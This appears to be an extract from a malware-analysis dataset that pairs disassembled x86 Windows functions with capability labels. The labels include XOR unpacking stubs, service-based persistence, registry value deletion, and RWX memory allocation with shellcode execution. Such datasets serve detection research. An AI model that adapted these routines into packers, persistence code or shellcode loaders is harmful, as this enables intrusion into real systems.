joyce8/EMBER2024-capa huggingface dataset:
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43300c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x433005
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x43300c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x406e52
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x406e61
pop dword [ebp - 0x3c]
mov eax, 0x406e61
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x38491
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0x43f1
mov ebx, eax
mov edx, 0x9ab7928
sub edx, 0x96a3d64
add edx, dword [ebp - 0x3c]
mov edi, 0xffb76e92
add dword [ebp - 0x10], edx
mov esi, dword [edx]
sub dword [ebp - 0xc], 0xbea00666
xor esi, edi
mov dword [ebp - 0x38], 0xfaba70ec
mov dword [ebx], esi
sub dword [ebp - 0x24], 0x857605a0
add ebx, 0xd60bdf9a
sub ebx, 0xd60bdf96
add edx, 4
loop 0x406eaa
add eax, 0x9dfe085c
add eax, 0x6202fa3b
mov ebx, eax
add eax, 0x53ce2e5
sub eax, 0x53ce2e0
mov ecx, 0x893577da
sub ecx, 0x88f577da
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x401198
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
and dword [ebp - 8], 0
lea eax, [ebp - 4]
push eax
push 4
push 0x40f244
call fcn.00403434
pop ecx
pop ecx
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x401282
push ebx
push esi
push edi
mov ebx, 0x40f967
push eax
push ebx
call fcn.00403464
pop ecx
mov dword [ebp - 0xc], eax
pop ecx
lea eax, [ebp - 0x110]
push 0x104
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x401276
lea eax, [ebp - 0x110]
push eax
call fcn.0040c3e8
xor edi, edi
pop ecx
cmp dword [ebp - 0xc], edi
jle 0x40126e
push edi
push ebx
call fcn.00403434
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.00403b7d
add esp, 0x10
test eax, eax
je 0x401268
push str.TbNl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x401268
push 2
push str._FBjdFhFh_JF_hRJFjj
call fcn.00403434
pop ecx
pop ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401261
lea ecx, [ebp - 0x110]
push ecx
push dword [ebp - 4]
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
inc edi
cmp edi, dword [ebp - 0xc]
jl 0x40120f
inc dword [ebp - 8]
jmp 0x4011df
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401284
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
lea eax, [ebp + 0xc]
push esi
and dword [ebp - 4], 0
push eax
push dword [ebp + 0xc]
mov esi, 0x400
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4012b8
xor eax, eax
jmp 0x4013a4
push ebx
push edi
mov edi, 0x40f967
push 0
push edi
call fcn.00403464
pop ecx
mov dword [ebp + 8], eax
pop ecx
lea eax, [ebp - 8]
xor ebx, ebx
push eax
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x414]
mov dword [ebp - 0xc], esi
push eax
mov dword [ebp - 8], esi
push dword [ebp - 4]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x401397
cmp dword [ebp - 0x10], 1
je 0x40130f
and byte [ebp - 0x814], al
lea eax, [ebp - 0x414]
push eax
call fcn.0040c3e8
lea eax, [ebp - 0x814]
push eax
call fcn.0040c3e8
cmp dword [ebp + 8], 0
pop ecx
pop ecx
jle 0x40138f
push ebx
push edi
call fcn.00403434
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.00403b7d
add esp, 0x10
test eax, eax
jne 0x401379
push dword [ebp - 0x14]
lea eax, [ebp - 0x814]
push eax
call fcn.00403b7d
pop ecx
test eax, eax
pop ecx
jne 0x401379
lea eax, [ebp - 0x414]
push str.____
push eax
call fcn.00407280
pop ecx
test eax, eax
pop ecx
jne 0x401389
lea eax, [ebp - 0x414]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
inc ebx
cmp ebx, dword [ebp + 8]
jl 0x40132f
inc dword [ebp - 4]
jmp 0x4012cc
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
xor eax, eax
pop ebx
pop esi
leave
ret 8
Function at 0x4048cb
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
and dword [ebp - 4], 0
cmp dword [0x491e88], 0
jne 0x404906
push 4
push 0x40f244
call fcn.00403434
lea ecx, [ebp - 4]
push ecx
push 0x4047fd
push eax
push closesocket
call fcn.00404562
add esp, 0x18
jmp 0x404942
lea eax, [ebp - 0x418]
push 2
push eax
call fcn.00403bd8
lea eax, [ebp - 0x418]
push eax
push 0x491a78
call fcn.00407370
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x418]
push 0x404769
push eax
push closesocket
call fcn.004045e0
add esp, 0x20
mov eax, dword [ebp - 4]
test eax, eax
mov dword [0x491e8c], eax
jne 0x404a23
push esi
lea eax, [ebp - 0x51c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
and byte [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push str._PZ
push eax
call fcn.00407370
pop ecx
lea eax, [ebp - 0x18]
pop ecx
push 4
push 4
push 2
push eax
call fcn.00407460
pop ecx
lea eax, [ebp + eax - 0x18]
push eax
call fcn.00403624
lea eax, [ebp - 0x17]
push eax
call fcn.0040c5cc
lea eax, [ebp - 0x51c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00407370
lea eax, [ebp - 0x418]
push 0x40e044
push eax
call fcn.00407380
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00407380
lea eax, [ebp - 0x418]
push 0x40f1dc
push eax
call fcn.00407380
lea eax, [ebp - 0x418]
push eax
call fcn.00403d58
add esp, 0x38
test eax, eax
je 0x404a00
inc esi
cmp esi, 0xa
jl 0x404967
lea eax, [ebp - 0x18]
push eax
push 0x491974
call fcn.00407380
lea eax, [ebp - 0x418]
push eax
push 0x491b7c
call fcn.00407370
add esp, 0x10
pop esi
push 1
pop eax
leave
ret

Function at 0x404b78
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, dword [esp + 0xc]
cmp esi, 0x44
jb 0x404bb3
mov ecx, dword [esp + 8]
cmp byte [ecx], 0x4d
jne 0x404bb3
cmp byte [ecx + 1], 0x5a
jne 0x404bb3
movzx eax, word [ecx + 0x3c]
add eax, ecx
add esi, 0xfffffffc
mov edx, eax
sub edx, ecx
cmp edx, esi
ja 0x404bb3
mov eax, dword [eax]
pop esi
sub eax, 0x4550
neg eax
sbb eax, eax
not eax
and eax, edx
ret
xor eax, eax
pop esi
ret
Function at 0x4050c1
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
push esi
push edi
push 3
pop edi
lea ecx, [ebp - 0x2c]
call fcn.0040174b
push dword [ebp + 0x10]
call fcn.00407460
mov esi, eax
pop ecx
lea eax, [ebp - 0x14]
add esi, 0x20
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
and word [ebp - 0x12], 0xfffe
xor ebx, ebx
push ebx
call fcn.00404687
pop ecx
xor edx, edx
push 0x1e
pop ecx
div ecx
sub word [ebp - 0xa], dx
cmp word [ebp - 0xa], 0x3c
jb 0x405117
mov word [ebp - 0xa], 1
mov al, byte [ebp - 0xa]
mov ecx, dword [ebp - 0xc]
and eax, 0x3f
shl ecx, 6
or eax, ecx
mov cl, byte [ebp - 8]
shr cl, 1
shl eax, 5
and ecx, 0x1f
or eax, ecx
mov cl, byte [ebp - 2]
mov word [ebp - 4], ax
mov eax, dword [ebp - 0x14]
add eax, 0x44
and ecx, 0x1f
shl eax, 9
xor eax, ecx
mov cl, byte [ebp - 0x12]
and ecx, 0xf
and ax, 0xfe1f
shl ecx, 5
or eax, ecx
mov cl, byte [ebp - 0xe]
mov word [ebp - 2], ax
xor cl, byte [ebp - 2]
and ecx, 0x1f
xor ax, cx
cmp dword [ebp + 0x14], ebx
mov word [ebp - 2], ax
je 0x405172
push 2
pop edi
push 0x20
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 0x20
push edi
push ebx
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x4051a1
xor eax, eax
jmp 0x4052af
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x18]
push 1
push eax
lea ecx, [ebp - 0x2c]
push dword [ebp + 0xc]
call fcn.0040174e
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x4052a4
mov eax, dword [ebp - 0x18]
mov byte [ebp - 0x14a], 0x74
push eax
mov word [ebp - 0x149], 0x8000
push dword [ebp + 0xc]
mov word [ebp - 0x147], si
mov dword [ebp - 0x145], eax
mov dword [ebp - 0x141], eax
mov byte [ebp - 0x13d], bl
call fcn.00405059
push dword [ebp + 0x10]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 4]
mov byte [ebp - 0x134], 0x14
mov dword [ebp - 0x138], eax
mov byte [ebp - 0x133], 0x30
call fcn.00407460
push dword [ebp + 0x10]
mov word [ebp - 0x132], ax
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x130], ebx
push eax
call fcn.00407370
movzx edi, si
lea eax, [edi - 2]
push eax
lea eax, [ebp - 0x14a]
push eax
call fcn.00405059
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 0x1c
cmp dword [ebp + 0x14], ebx
mov word [ebp - 0x14c], ax
je 0x405277
lea eax, [ebp - 0x1c]
push ebx
push eax
push 0x14
push str._Nh
push dword [ebp + 8]
call esi
lea eax, [ebp - 0x1c]
push ebx
push eax
lea eax, [ebp - 0x14c]
push edi
push eax
push dword [ebp + 8]
call esi
lea eax, [ebp - 0x1c]
push ebx
push eax
push dword [ebp - 0x18]
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
lea ecx, [ebp - 0x2c]
call fcn.00401808
push 1
pop ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4053ac
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push 1
pop ebx
push ebx
call fcn.00404687
mov esi, 0x104
xor edi, edi
push esi
push edi
push 0x491d84
call fcn.00407310
push esi
push edi
push 0x491c80
call fcn.00407310
push esi
push edi
push 0x491b7c
call fcn.00407310
push esi
push edi
push 0x491a78
call fcn.00407310
push esi
push edi
push 0x491974
call fcn.00407310
add esp, 0x40
push 0x40e0d0
push 0x1eac
push 0x40e0d4
call fcn.00403529
push 0x491e90
call fcn.00402642
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0x80000000
mov dword [0x491e98], edi
mov dword [0x491e88], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x40546c
cmp dword [ebp - 0x8c], ebx
jne 0x40546c
mov dword [0x491e98], ebx
call fcn.004048cb
mov esi, 0x7d000
push esi
call fcn.00407baf
cmp eax, edi
pop ecx
mov dword [0x491970], eax
jne 0x40548a
xor eax, eax
jmp 0x4054ae
push esi
push edi
push eax
call fcn.00407310
call fcn.0040556c
push ebx
push 0x40fde0
call fcn.00403434
push eax
push edi
call fcn.004052d3
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40556c
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push edi
push 2
push str.TbNl
call fcn.00403434
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
mov edi, str._FBjdFhFh_JF_hRJFjj
je 0x4055d1
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 4
push edi
mov dword [0x491ea0], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 5
push edi
mov dword [0x491e9c], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491ea4], eax
push 3
push str.TbNl
call fcn.00403434
pop ecx
pop ecx
push eax
call ebx
mov ebp, eax
test ebp, ebp
je 0x4055fb
push 3
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491ea8], eax
mov edi, str.bPPFd
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x40561c
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebx
call esi
mov dword [0x491eac], eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x406820
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Start service

Disassembly:
mov eax, 0x1fc8
call fcn.00407b80
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x491b7c
push 0x20
push esi
call edi
push ebx
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x20
push esi
mov dword [esp + 0x18], eax
call edi
cmp dword [esp + 0x10], ebx
je 0x4068c3
push 0x1ec0
lea eax, [esp + 0x11c]
push 0x40e0c0
push eax
call fcn.00407820
lea eax, [esp + 0x124]
mov byte [esp + 0x1138], bl
push eax
push esi
call fcn.004054b3
push 0x13000
push esi
call fcn.00404e60
push ebx
call fcn.00404687
xor edx, edx
mov ecx, 0x2800
div ecx
add edx, 0x13200
push edx
push esi
call fcn.00403f63
add esp, 0x28
push 0x27
push esi
call edi
cmp dword [0x491e88], ebx
mov edi, 0x491974
je 0x40691a
push esi
push edi
push 0x491a78
push closesocket
call fcn.0040451c
push 1
push str.TbNl
call fcn.00403434
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push str._FBjdFhFh_JF_hRJFjj
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x406913
push 1
push ebx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], ebx
jne 0x406924
xor eax, eax
jmp 0x406999
cmp dword [0x491e88], ebx
je 0x406937
push ebx
push esi
call fcn.004046b3
pop ecx
pop ecx
jmp 0x406996
cmp dword [0x491e90], ebx
jne 0x406996
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 2
push ebx
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
push 2
push 0x110
push ebx
push edi
push edi
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push 1
push ebx
push ebx
call ebp
mov ebp, eax
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call esi
push ebp
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1fc8
ret
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x417786
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x417795
pop dword [ebp - 0x40]
mov eax, 0xfe434f4b
sub eax, 0xfe01d7b6
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x7c782458
add dword [ebp - 0x50], 0xd1da20f3
mov dword [ebp - 0x4c], 0xad0076e5
sub dword [ebp - 0x4c], 0x7acd2aa0
mov dword [ebp - 0x48], 0xfc96fdec
sub dword [ebp - 0x48], 0xb04ab9be
mov dword [ebp - 0x44], 0xb0b1a43d
add dword [ebp - 0x44], 0x4f4e5bc3
lea eax, [ebp - 0x50]
push eax
mov eax, 0x4e155832
sub eax, 0x4dd327be
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x97b631b6
sub dword [ebp - 0x50], 0x2343c860
mov dword [ebp - 0x4c], 0x82f0735b
sub dword [ebp - 0x4c], 0x418411e6
mov dword [ebp - 0x48], 0x49baa439
add dword [ebp - 0x48], 0x19b4c833
mov dword [ebp - 0x44], 0xc3e0aae1
add dword [ebp - 0x44], 0x3c1f551f
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3e76a
push 0
call eax
mov ecx, 0x5da55cee
sub ecx, 0x5da5136f
xor edx, edx
add edx, eax
mov esi, 0x434400
add esi, dword [ebp - 0x40]
mov ebx, 0xbb9d7b
sub ebx, 0x3d5d96e0
mov dword [ebp - 4], 0x46f2134f
mov edi, dword [esi]
sub dword [ebp - 0xc], 0xa4eec09f
add edi, ebx
xor dword [ebp - 0x14], eax
mov dword [edx], edi
add edx, 0x53df822b
add edx, 0xac207dd9
add esi, 0x36026e20
add esi, 0xc9fd91e4
loop 0x4178ae
add eax, 0x118cf
xor ebx, ebx
add ebx, eax
add eax, 0xc95662b9
add eax, 0x36a99d4c
mov ecx, 0x301e502d
sub ecx, 0x2fde502d
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x409ab7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x409ac6
pop dword [ebp - 0x28]
mov eax, 0x409ac6
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x36fa6
push 0
mov eax, 0x27ed759a
add eax, 0xd8536b3e
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0xc9736e1e
add ecx, 0x368cd0d2
xor esi, esi
add esi, eax
mov edi, 0x413bc4
add edi, dword [ebp - 0x28]
mov ebx, 0x40aac271
xor dword [ebp - 0x20], 0xede077a
mov edx, dword [edi]
sub dword [ebp - 0x24], 0x6515098d
sub edx, ebx
xor dword [ebp - 0x18], edx
mov dword [esi], edx
xor dword [ebp - 8], 0x9b2e5d4a
add esi, 0x274b6a7b
add esi, 0xd8b49589
add edi, 0x56fb0d68
sub edi, 0x56fb0d64
loop 0x409b16
add eax, 0x3c427141
add eax, 0xc3be7d52
mov ebx, eax
add eax, 0x61fb78f3
sub eax, 0x61fb78ee
mov ecx, 0xd58b3973
add ecx, 0x2ab4c68d
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x4030b2
Capabilities:
Delete directory
Get common file path
Get file attributes
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84c
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
mov dword [ebp - 0x10], eax
mov eax, dword [edi + 4]
xor esi, esi
cmp dword [0x59d120], 0x594
mov dword [ebp - 0xc], eax
jne 0x4030fa
push 0x402e40
push 0x402e50
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
mov eax, dword [0x4294c8]
push ebx
mov ebx, dword [0x4294cc]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
mov dword [ebp - 0x30], 0x9e3779b9
call fcn.004030ab
mov eax, dword [0x4294d0]
add dword [ebp - 8], 0x23f
mov dword [ebp - 0x2c], eax
mov eax, dword [0x4294d4]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x20
mov dword [ebp - 0x14], 2
add dword [ebp - 0x14], 3
mov eax, dword [ebp - 0x10]
mov ecx, eax
shl ecx, 4
cmp dword [0x59d120], 0xc
mov dword [ebp - 4], ecx
jne 0x4031a4
push esi
lea eax, [ebp - 0x44c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosw word es:[edi], ax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x1c]
lea eax, [ebp - 0x84c]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
lea eax, [ebp - 0x38]
push eax
push esi
lea eax, [ebp - 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp + 8]
mov ecx, dword [ebp - 0x2c]
add dword [ebp - 4], ecx
mov ecx, dword [0x59d120]
cmp ecx, 0xfa9
jne 0x4031c2
mov dword [0x59c6bc], 0xedeb2e40
cmp ecx, 0x3eb
jne 0x4031d0
mov dword [0x59c070], esi
mov ecx, dword [ebp - 8]
add ecx, eax
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x14]
shr eax, cl
mov dword [0x59c6b8], 0xf4ea3dee
add eax, dword [ebp - 0x24]
mov ecx, eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
xor ecx, dword [ebp - 4]
cmp dword [0x59d120], 0x213
mov dword [ebp - 0x18], ecx
jne 0x40320b
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov eax, dword [ebp - 0x18]
add dword [ebp - 0xc], 0x64
sub dword [ebp - 0xc], eax
sub dword [ebp - 0xc], 0x64
mov eax, dword [ebp - 0xc]
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax]
mov ecx, dword [ebp - 0x14]
shr eax, cl
add eax, ebx
xor eax, edx
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x30]
sub dword [ebp - 8], eax
dec dword [ebp - 0x20]
jne 0x403139
cmp dword [0x59d120], 0xa6d
mov eax, dword [ebp - 0x10]
mov dword [edi], eax
pop ebx
jne 0x40326c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov eax, dword [ebp - 0xc]
mov dword [edi + 4], eax
pop edi
pop esi
leave
ret 4
Function at 0x403346
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0040ccf0
push esi
xor esi, esi
cmp dword [0x59d120], 0x5b1
push edi
jne 0x4033e2
push esi
lea eax, [ebp - 0x80c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push 0x402e90
push esi
call fcn.00403eaf
push esi
push esi
push esi
push esi
call fcn.00404166
push esi
call fcn.00403c97
push esi
push esi
call fcn.0040420a
push esi
push esi
call fcn.00403ca2
call fcn.00403659
push esi
call fcn.00403dd4
add esp, 0x2c
mov dword [esp], esi
call fcn.00402ff0
fstp st(0)
push esi
call fcn.00404818
add dword [0x59d120], 0x1134b
push dword [0x59d120]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x59d120]
mov dword [0x59c074], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x59d120]
xor ecx, ecx
cmp eax, esi
jbe 0x403437
mov edx, dword [0x59d124]
mov dl, byte [edx + ecx + 0x1134b]
mov edi, dword [0x59c074]
mov byte [edi + ecx], dl
inc ecx
cmp ecx, eax
jb 0x40341c
xor edi, edi
lea ecx, [eax + edi]
cmp ecx, 0xe
jne 0x403471
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push esi
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push 0x402e98
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
mov eax, dword [0x59d120]
inc edi
cmp edi, 0x39621
jl 0x403439
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
xor ebx, ebx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push esi
call edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp ebx, 0x206d47
jg 0x4034a5
inc ebx
cmp ebx, 0x4f6a4
jl 0x403483
mov ebx, 0x4e320c
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessagePos]
dec ebx
jne 0x4034aa
call fcn.00403278
push esi
call edi
cmp ebx, 0x26
jne 0x4034d6
call fcn.0040332c
inc ebx
cmp ebx, 0x6753f
jl 0x4034c9
push 0x7b
pop edi
pop ebx
cmp dword [0x59d120], 0x86
jne 0x403524
push esi
lea eax, [ebp - 0x40c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
lea eax, [ebp - 0x100c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
dec edi
jne 0x4034e3
call fcn.00403034
pop edi
pop esi
leave
ret